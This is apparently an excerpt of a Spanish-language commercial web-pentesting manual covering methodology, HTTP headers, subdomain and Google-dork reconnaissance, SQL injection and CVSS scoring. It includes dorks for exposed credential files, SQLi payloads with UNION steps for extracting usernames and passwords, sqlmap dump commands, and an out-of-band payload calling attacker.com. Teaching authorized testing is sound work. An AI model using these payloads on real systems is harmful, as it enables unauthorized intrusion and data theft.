

● PRODUCTO DIGITAL PREMIUM

Manual de Pentesting Web

Guía completa para auditar y explotar aplicaciones web modernas

De los fundamentos del protocolo HTTP hasta técnicas avanzadas de bypass en WAF. Una guía estructurada, práctica y orientada a resultados para pentesters, bug bounty hunters y auditores de seguridad.

Autor	DigiStore
Publicado	September 2026
Versión	1.0
Licencia	Uso personal — No redistribuir

Tabla de Contenido

01	Capítulo 1 — Fundamentos del Pentesting Web	3
02	Capítulo 2 — Reconocimiento y OSIT pasivo	4
03	Capítulo 3 — Fingerprinting y enumeración activa	6
04	Capítulo 4 — OWASP Top 10: explotación detallada	8
05	Capítulo 5 — SQL Injection: tipos y explotación	11
06	Capítulo 6 — XSS: stored, reflected y DOM-based	14
07	Capítulo 7 — Cross-Site Request Forgery (CSRF)	17
08	Capítulo 8 — Server-Side Request Forgery (SSRF)	19
09	Capítulo 9 — Insecure Direct Object References	21
10	Capítulo 10 — Bypass de WAF y evasión	23
11	Capítulo 11 — Post-explotación y persistencia web	25
12	Capítulo 12 — Reporte profesional y CVSS	27
13	Anexo A — Plantillas de reporte	29
14	Anexo B — Cheat sheet de payloads	31

Capítulo 1 — Fundamentos del Pentesting Web

El pentesting web es la disciplina de evaluar la postura de seguridad de una aplicación web simulando ataques reales. A diferencia de los escáneres automáticos, el pentester profesional aplica creatividad, conocimiento profundo del protocolo HTTP y comprensión del negocio objetivo. Este manual asume que dominas conceptos básicos de redes y programación, y te lleva hasta un nivel profesional donde podrás encontrar vulnerabilidades que los scanners automatizados pasan por alto.

Antes de tocar una sola herramienta, debes comprender el marco legal. Un pentest sin autorización escrita es un delito en la mayoría de jurisdicciones. La regla de oro es: si no tienes un contrato firmado que diga explícitamente qué puedes probar y qué no, no lo toques. Las hojas de autorización deben especificar: alcance (URLs, IPs, subdominios), ventanas de tiempo, métodos permitidos, datos que no se deben tocar, y un contacto de emergencia.

1.1 Metodologías reconocidas

Existen varias metodologías estándar. La más usada en la industria es PTES (Penetration Testing Execution Standard), que divide el pentest en 7 fases. OWASP WSTG (Web Security Testing Guide) es la referencia específica para aplicaciones web y se actualiza anualmente. NIST SP 800-115 es la guía del gobierno estadounidense, más prescriptiva. Finalmente, OSSTMM 3 del ISECOM es la más teórica y orientada a métricas.

Las 7 fases de PTES son:

- Pre-engagement: contrato, alcance, autorización, reglas de juego.
- Intelligence Gathering: OSINT, subdominios, tecnologías.
- Threat Modeling: assets críticos, attackers plausibles, attack trees.
- Vulnerability Analysis: escaneo automatizado + manual testing.
- Exploitation: aprovechar las vulnerabilidades encontradas.
- Post-Exploitation: pivoting, persistencia, data exfil.
- Reporting: documento profesional con CVEs, CVSS, remediación.

1.2 El protocolo HTTP a fondo

HTTP es un protocolo stateless basado en texto. Cada request incluye un método (GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, TRACE), una ruta, una versión de protocolo, headers y opcionalmente un body. Entender cómo los servers interpretan estos componentes es clave para encontrar vulnerabilidades como HTTP request smuggling, host header injection y bypass de controls de acceso basados en paths.

Los headers HTTP son particularmente importantes en pentesting. Host se usa para virtual hosting; manipularlo puede exponer paneles admin internos. X-Forwarded-For a veces es confiado ciegamente para IP allowlists. Origin y Referer validan CORS y CSRF.

Cookie transporta sesiones; entender sus atributos (HttpOnly, Secure, SameSite) es crítico. Authorization incluye Basic, Bearer y esquemas personalizados que pueden ser débiles.

Ejemplo de petición HTTP cruda:

```
POST /api/login HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Content-Type: application/json
Content-Length: 56
X-Forwarded-For: 127.0.0.1

{"username":"admin","password":"password"}
```

Notas: el User-Agent puede ser filtrado o usado para fingerprinting. X-Forwarded-For: 127.0.0.1 a menudo bypassa controles que asumen IP interna. El body JSON tiene longitud exacta declarada en Content-Length; alterar esto puede causar request smuggling.

Capítulo 2 — Reconocimiento y OSINT pasivo

El reconocimiento pasivo es la fase donde recolectas información del objetivo sin interactuar directamente con sus servidores. Esto minimiza la probabilidad de ser detectado por WAF, IDS o SIEM. La regla general es: cuanto más sepas antes de tocar el target, más efectivo será tu pentest activo.

2.1 Subdominios: el santo grial del reconocimiento

El 70% de las vulnerabilidades graves se encuentran en subdominios olvidados (staging, dev, test, qa, old, beta). Estos ambientes suelen tener controles de seguridad más débiles, credenciales hardcoded, y a veces datos de producción copiados. La estrategia es enumerate, enumerate, enumerate.

Herramientas para enumeración pasiva de subdominios:

- amass (OWASP): la más completa, integra 30+ fuentes. Ej: `amass enum -passive -d target.com`
- subfinder (ProjectDiscovery): rápida, modular, ideal para integrar en pipelines. Ej: `subfinder -d target.com -all -o subs.txt`
- crt.sh: usa Certificate Transparency logs. URL: `https://crt.sh/?q=%25.target.com&output=json`
- SecurityTrails API: histórico de DNS, ideal para ver subdominios que ya no existen pero quizás aún resuelven.
- Shodan / Censys: enumeración por certificado SSL, banners HTTP, geolocalización.
- Wayback Machine: URLs históricas de subdominios que ya no aparecen en DNS.

2.2 Google Dorks avanzados

Google Dorking o Google Hacking Database (GHDB) es el uso avanzado de operadores de búsqueda de Google para encontrar información sensible expuesta. La base de datos pública en `exploit-db.com/ghdb` tiene más de 7,000 entradas categorizadas. Combinar operadores correctamente revela archivos expuestos, paneles admin, credenciales y configuraciones.

Operadores esenciales:

- site: limita a un dominio. Ej: `site:target.com -www`
- filetype: o ext: filtra por extensión. Ej: `site:target.com filetype:pdf`
- intitle: busca en el <title> HTML. Ej: `intitle:"index of" /backup`
- inurl: busca en la URL. Ej: `inurl:"wp-admin" site:target.com`
- intext: busca en el body. Ej: `intext:"sql syntax near" site:target.com`
- cache: versión cacheada (útil cuando la página fue removida).
- - excluye. Ej: `site:target.com -site:www.target.com`

Ejemplos de dorks potentes:

```
# Paneles admin expuestos
site:target.com inurl:(admin | administrator | wp-admin | phpmyadmin)

# Archivos de configuración con credenciales
site:target.com filetype:env OR filetype:sql OR filetype:conf

# Errores SQL visibles en URLs cacheadas
site:target.com "SQL syntax" OR "mysql_fetch"

# Directorios listables
site:target.com intitle:"index of" "parent directory"
```

Importante ético: encontrar algo expuesto por Google no te da derecho a explotarlo. Documenta, reporta, espera autorización escrita. Reportes responsables pueden generar bug bounties incluso sin contrato previo.

Capítulo 5 — SQL Injection: tipos y explotación

SQL Injection (SQLi) sigue siendo, después de 25 años, una de las vulnerabilidades web más críticas. Aparece cuando una aplicación concatena input del usuario directamente en una consulta SQL sin parametrización. Las consecuencias van desde bypass de autenticación hasta exfiltración completa de datos, RCE vía `xp_cmdshell` (SQL Server) o `INTO OUTFILE` (MySQL), y persistencia vía UDF.

5.1 Tipos de SQLi

- In-band (clásica): el resultado se devuelve directamente en la respuesta. Subtipos: UNION-based (usa UNION SELECT para combinar resultados) y Error-based (fuerza errores que revelan datos).
- Inferential (Blind): la respuesta no contiene datos, pero la aplicación se comporta distinto según la consulta. Subtipos: Boolean-based (true/false difieren en respuesta) y Time-based (SLEEP/BENCHMARK causa delay si condición true).
- Out-of-band (OOB): usa canales alternativos (DNS, HTTP) para exfiltrar. Útil cuando in-band e inferential no funcionan. Ej: `LOAD_FILE('\\\\attacker.com\\test')` en MySQL o `xp_dirtree` en SQL Server.

5.2 Detectando SQLi: el proceso

El proceso de detección comienza con un payload simple: `'`. Si al añadir una comilla simple la respuesta cambia (error 500, mensaje SQL, comportamiento anómalo), hay candidato a SQLi. Luego se prueba con payloads que no rompen la sintaxis SQL sino que la modifican lógicamente: `' OR '1'='1`, `' OR 1=1--`, `" OR ""=""`. Si la respuesta del servidor cambia de forma predecible, estás frente a SQLi confirmado.

5.3 UNION-based SQLi paso a paso

UNION SELECT permite combinar resultados de dos consultas. Requisitos: mismo número de columnas y tipos compatibles. El proceso es:

- Paso 1: contar columnas. Usa ORDER BY incremental: `?id=1 ORDER BY 1--`, luego `ORDER BY 2--`, cuando falle, sabes que tiene N-1 columnas.
- Paso 2: identificar columnas visibles. `?id=-1 UNION SELECT 1,2,3,4,5--` (cambiar ID a uno inexistente). Los números que aparezcan en la página son las columnas reflejadas.
- Paso 3: extraer metadatos. En MySQL: `UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()--`
- Paso 4: extraer columnas. `UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--`
- Paso 5: exfiltrar datos. `UNION SELECT 1,concat(username,':',password),3 FROM users--`

sqlmap automatiza todo esto. Ejemplo: `sqlmap -u 'http://target.com/page?id=1' --dbs --batch` lista las bases de datos. `--dump -D target_db -T users` descarga la tabla.

Capítulo 12 — Reporte profesional y CVSS

Un reporte de pentest es el entregable final. Su calidad determina si el cliente te vuelve a contratar, si los desarrolladores arreglan los hallazgos, y si tu trabajo pasa auditorías posteriores. Un buen reporte tiene tres secciones: resumen ejecutivo (para C-levels), hallazgos técnicos detallados (para devs), y anexos (evidencia cruda, payloads, logs).

12.1 CVSS v3.1: el estándar de scoring

CVSS (Common Vulnerability Scoring System) v3.1 es la versión actual. Calcula un score 0-10 basado en 8 métricas Base, 4 Temporales y 7 Ambientales. La fórmula Base es compleja pero el vector string resume todo en 8 campos:

- AV (Attack Vector): Network (N), Adjacent (A), Local (L), Physical (P). Network es la más común en web.
- AC (Attack Complexity): Low (L) o High (H). Low = trivial, High = requiere condiciones especiales.
- PR (Privileges Required): None (N), Low (L), High (H).
- UI (User Interaction): None (N) o Required (R).
- S (Scope): Unchanged (U) o Changed (C). Changed = vulnerabilidad afecta a otro componente.
- C (Confidentiality): High (H), Low (L), None (N).
- I (Integrity): High (H), Low (L), None (N).
- A (Availability): High (H), Low (L), None (N).

Vector string ejemplo: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = score 9.8 Crítico.
Esto es una SQLi que expone todos los datos sin auth.